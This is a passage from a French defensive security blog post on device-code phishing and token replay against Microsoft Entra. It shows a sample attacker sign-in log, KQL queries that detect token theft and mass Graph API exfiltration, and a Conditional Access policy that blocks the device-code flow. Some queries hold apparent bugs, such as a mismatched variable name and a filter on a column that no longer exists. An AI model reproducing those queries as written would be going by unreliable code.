<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"UserPrincipalName"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"victime@entreprise.com"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"AppDisplayName"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Microsoft Graph"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"AuthenticationProtocol"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"none"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"IsInteractive"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">false</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"IPAddress"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"45.152.x.x"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"Location"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token property" style="color:hsl(256, 54%, 50%)">"CountryOrRegion"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"NL"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"TokenIssuerType"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"AzureAD"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"RiskDetail"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"none"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"UniqueTokenIdentifier"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"ZGJhNzQ4..."</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><br></span></code></pre></div></div>
<p>Le modèle d'accès de l'attaquant montrera des connexions non interactives cohérentes à intervalles réguliers (actualisation de jeton), depuis une IP cohérente (le serveur de l'attaquant), accédant à des endpoints de l'API Microsoft Graph non typiques du modèle de travail normal de la victime.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-5--détection--requêtes-qui-fonctionnent-vraiment">Partie 5  Détection : Requêtes Qui Fonctionnent Vraiment<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#partie-5--d%C3%A9tection--requ%C3%AAtes-qui-fonctionnent-vraiment" class="hash-link" aria-label="Direct link to Partie 5  Détection : Requêtes Qui Fonctionnent Vraiment" title="Direct link to Partie 5  Détection : Requêtes Qui Fonctionnent Vraiment" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="51-détecter-les-connexions-par-code-dappareil-depuis-des-contextes-non-gérés">5.1 Détecter les Connexions par Code d'Appareil depuis des Contextes Non Gérés<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#51-d%C3%A9tecter-les-connexions-par-code-dappareil-depuis-des-contextes-non-g%C3%A9r%C3%A9s" class="hash-link" aria-label="Direct link to 5.1 Détecter les Connexions par Code d'Appareil depuis des Contextes Non Gérés" title="Direct link to 5.1 Détecter les Connexions par Code d'Appareil depuis des Contextes Non Gérés" translate="no">​</a></h3>
<p>Le point de départ avec la plus haute fidélité. Le flux de code d'appareil est rarement légitime pour les utilisateurs d'entreprise standard :</p>
<div class="language-kql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kql codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Détecter l'authentification par code d'appareil où aucun appareil n'est enregistré</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">SigninLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated &gt; ago(7d)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where AuthenticationProtocol == "deviceCode"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where ResultType == "0"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where isempty(DeviceDetail.deviceId)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Pays = tostring(LocationDetails.countryOrRegion),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Ville = tostring(LocationDetails.city)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| summarize </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Nombre = count(),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    IPsUniques = dcount(IPAddress),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Pays = make_set(Pays),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    DernièreVue = max(TimeGenerated)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    by UserPrincipalName, AppDisplayName</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where Nombre &gt; 0</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by DernièreVue desc</span><br></span></code></pre></div></div>
<p><strong>Version plus stricte  alerter sur toute connexion par code d'appareil pour les utilisateurs non dans une liste autorisée :</strong></p>
<div class="language-kql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kql codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Maintenir une liste autorisée des utilisateurs/apps avec des besoins légitimes de code d'appareil</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let UtilisateursCodeAppareilAutorisés = dynamic([</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "admin-iot@entreprise.com",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "svc-imprimante@entreprise.com"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">]);</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">SigninLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated &gt; ago(1d)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where AuthenticationProtocol == "deviceCode"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where ResultType == "0"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where UserPrincipalName !in (UtilisateursCodeAppareilAutorisés)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, UserPrincipalName, IPAddress, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          AppDisplayName, LocationDetails, CorrelationId</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by TimeGenerated desc</span><br></span></code></pre></div></div>
<p>Taux de faux positifs attendu lorsque la liste autorisée est correctement configurée : quasi nul.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="52-détecter-le-rejeu-de-jetons-via-des-voyages-impossibles-dans-les-journaux-non-interactifs">5.2 Détecter le Rejeu de Jetons via des Voyages Impossibles dans les Journaux Non Interactifs<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#52-d%C3%A9tecter-le-rejeu-de-jetons-via-des-voyages-impossibles-dans-les-journaux-non-interactifs" class="hash-link" aria-label="Direct link to 5.2 Détecter le Rejeu de Jetons via des Voyages Impossibles dans les Journaux Non Interactifs" title="Direct link to 5.2 Détecter le Rejeu de Jetons via des Voyages Impossibles dans les Journaux Non Interactifs" translate="no">​</a></h3>
<div class="language-kql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kql codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Ciblant la lacune de détection  les connexions non interactives où se cache le rejeu de jetons</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let SeuilleDeltaTempsMinutes = 60;</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let DistanceMinimaleKm = 500;</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">NonInteractiveUserSignInLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated &gt; ago(24h)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where ResultType == "0"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Lat = toreal(LocationDetails.geoCoordinates.latitude),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Lon = toreal(LocationDetails.geoCoordinates.longitude),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Pays = tostring(LocationDetails.countryOrRegion)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where isnotempty(Lat) and isnotempty(Lon)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by UserPrincipalName asc, TimeGenerated asc</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| serialize</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    LatPrécédente = prev(Lat, 1),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    LonPrécédente = prev(Lon, 1),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    HeurePrécédente = prev(TimeGenerated, 1),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    UtilisateurPrécédent = prev(UserPrincipalName, 1)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where UserPrincipalName == UtilisateurPrécédent</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    DeltaTempsMin = datetime_diff('minute', TimeGenerated, HeurePrécédente),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    DistanceKm = 111.0 * sqrt(pow(Lat - LatPrécédente, 2) + pow(Lon - LonPrécédente, 2))</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where DeltaTempsMin &lt; SeuilleDeltaTempsMinutes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where DistanceKm &gt; DistanceMinimaleKm</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, UserPrincipalName, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          IPActuel = IPAddress, PaysCourant = Pays,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          DeltaTempsMin, DistanceKm, AppDisplayName,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          UniqueTokenIdentifier</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by TimeGenerated desc</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="53-corréler-lutilisation-des-jetons-à-lactivité-de-lapi-graph">5.3 Corréler l'Utilisation des Jetons à l'Activité de l'API Graph<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#53-corr%C3%A9ler-lutilisation-des-jetons-%C3%A0-lactivit%C3%A9-de-lapi-graph" class="hash-link" aria-label="Direct link to 5.3 Corréler l'Utilisation des Jetons à l'Activité de l'API Graph" title="Direct link to 5.3 Corréler l'Utilisation des Jetons à l'Activité de l'API Graph" translate="no">​</a></h3>
<div class="language-kql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kql codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Joindre SigninLogs à MicrosoftGraphActivityLogs pour voir ce qu'a fait un jeton</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Nécessite la configuration des journaux d'activité Graph dans Log Analytics</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let Jetonssuspects = SigninLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where TimeGenerated &gt; ago(24h)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where AuthenticationProtocol == "deviceCode"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where ResultType == "0"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | project UniqueTokenIdentifier, UserPrincipalName, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">              HeureConnexion = TimeGenerated, IPConnexion = IPAddress;</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">MicrosoftGraphActivityLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated &gt; ago(24h)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| join kind=inner JetonsSupects on $left.UniqueTokenIdentifier == $right.UniqueTokenIdentifier</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, UserPrincipalName, RequestUri, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          ResponseStatusCode, ClientIpAddress, IPConnexion</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by TimeGenerated asc</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="54-détecter-labus-denregistrement-dappareil-basé-sur-le-prt">5.4 Détecter l'Abus d'Enregistrement d'Appareil Basé sur le PRT<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#54-d%C3%A9tecter-labus-denregistrement-dappareil-bas%C3%A9-sur-le-prt" class="hash-link" aria-label="Direct link to 5.4 Détecter l'Abus d'Enregistrement d'Appareil Basé sur le PRT" title="Direct link to 5.4 Détecter l'Abus d'Enregistrement d'Appareil Basé sur le PRT" translate="no">​</a></h3>
<div class="language-kql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kql codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Haute fidélité : appareil enregistré immédiatement après auth par code d'appareil</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Taux de faux positifs quasi nul dans les environnements d'entreprise standard</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let FenêtreRecherche = 1h;</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let ÉvénementsCodeAppareil = SigninLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where TimeGenerated &gt; ago(24h)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where AuthenticationProtocol == "deviceCode"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where ResultType == "0"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | project UserPrincipalName, HeureCA = TimeGenerated, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">              IPAdresseCA = IPAddress, CorrelationId;</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">AuditLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated &gt; ago(24h)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where OperationName in ("Register device", "Add registered users to device", </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                           "Add member to role", "Add eligible member to role")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend ActeurUPN = tostring(InitiatedBy.user.userPrincipalName)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where isnotempty(ActeurUPN)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| join kind=inner ÉvénementsCodeAppareil on $left.ActeurUPN == $right.UserPrincipalName</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend DeltaTemps = TimeGenerated - HeureCA</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where DeltaTemps between (0min .. FenêtreRecherche)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project ActeurUPN, OperationName, TimeGenerated, HeureCA, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          DeltaTemps, IPAdresseCA,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          RessourceCible = tostring(TargetResources[0].displayName)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by TimeGenerated desc</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="55-chasser-les-modèles-dabus-de-jeton-dactualisation-accès-massif-à-lapi-graph">5.5 Chasser les Modèles d'Abus de Jeton d'Actualisation (Accès Massif à l'API Graph)<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#55-chasser-les-mod%C3%A8les-dabus-de-jeton-dactualisation-acc%C3%A8s-massif-%C3%A0-lapi-graph" class="hash-link" aria-label="Direct link to 5.5 Chasser les Modèles d'Abus de Jeton d'Actualisation (Accès Massif à l'API Graph)" title="Direct link to 5.5 Chasser les Modèles d'Abus de Jeton d'Actualisation (Accès Massif à l'API Graph)" translate="no">​</a></h3>
<p>Les utilisateurs légitimes ne font pas de requêtes massives à l'API Graph à 3h du matin :</p>
<div class="language-kql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kql codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Détecter un volume anormal de requêtes API Graph depuis des sessions non interactives</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Indicateur d'exfiltration automatisée de données avec des jetons volés</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">MicrosoftGraphActivityLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated &gt; ago(24h)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where RequestMethod in ("GET")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Heure = hourofday(TimeGenerated),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    UPN = tostring(UserId)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| summarize </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    NombreRequêtes = count(),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    EndpointsUniques = dcount(RequestUri),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    JetonsUniques = dcount(UniqueTokenIdentifier)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    by UPN, bin(TimeGenerated, 1h)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where NombreRequêtes &gt; 500</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where Heure between (0 .. 6)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by NombreRequêtes desc</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-6--les-lacunes-de-laccès-conditionnel--pourquoi-votre-stratégie-a-probablement-des-failles">Partie 6  Les Lacunes de l'Accès Conditionnel : Pourquoi Votre Stratégie a Probablement des Failles<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#partie-6--les-lacunes-de-lacc%C3%A8s-conditionnel--pourquoi-votre-strat%C3%A9gie-a-probablement-des-failles" class="hash-link" aria-label="Direct link to Partie 6  Les Lacunes de l'Accès Conditionnel : Pourquoi Votre Stratégie a Probablement des Failles" title="Direct link to Partie 6  Les Lacunes de l'Accès Conditionnel : Pourquoi Votre Stratégie a Probablement des Failles" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="61-la-condition-qui-bloque-le-hameçonnage-par-code-dappareil-et-pourquoi-elle-nest-pas-déployée">6.1 La Condition Qui Bloque le Hameçonnage par Code d'Appareil (Et Pourquoi Elle N'Est Pas Déployée)<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#61-la-condition-qui-bloque-le-hame%C3%A7onnage-par-code-dappareil-et-pourquoi-elle-nest-pas-d%C3%A9ploy%C3%A9e" class="hash-link" aria-label="Direct link to 6.1 La Condition Qui Bloque le Hameçonnage par Code d'Appareil (Et Pourquoi Elle N'Est Pas Déployée)" title="Direct link to 6.1 La Condition Qui Bloque le Hameçonnage par Code d'Appareil (Et Pourquoi Elle N'Est Pas Déployée)" translate="no">​</a></h3>
<p>Microsoft a ajouté la condition <strong>Flux d'authentification</strong> d'Accès Conditionnel spécifiquement pour traiter l'abus du code d'appareil :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Stratégie d'Accès Conditionnel : "Bloquer le Flux de Code d'Appareil"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">──────────────────────────────────────────────────────────────────────</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Affectations :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Utilisateurs : Tous les utilisateurs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Exclure : Comptes de secours, comptes de service avec besoins IoT documentés</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Ressources Cibles :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Applications cloud : Toutes les applications cloud</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Conditions :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Flux d'authentification : Flux de code d'appareil</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Accorder :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Bloquer l'accès</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">──────────────────────────────────────────────────────────────────────</span><br></span></code></pre></div></div>
<p><strong>Avant d'activer en mode enforcement, auditez votre environnement :</strong></p>
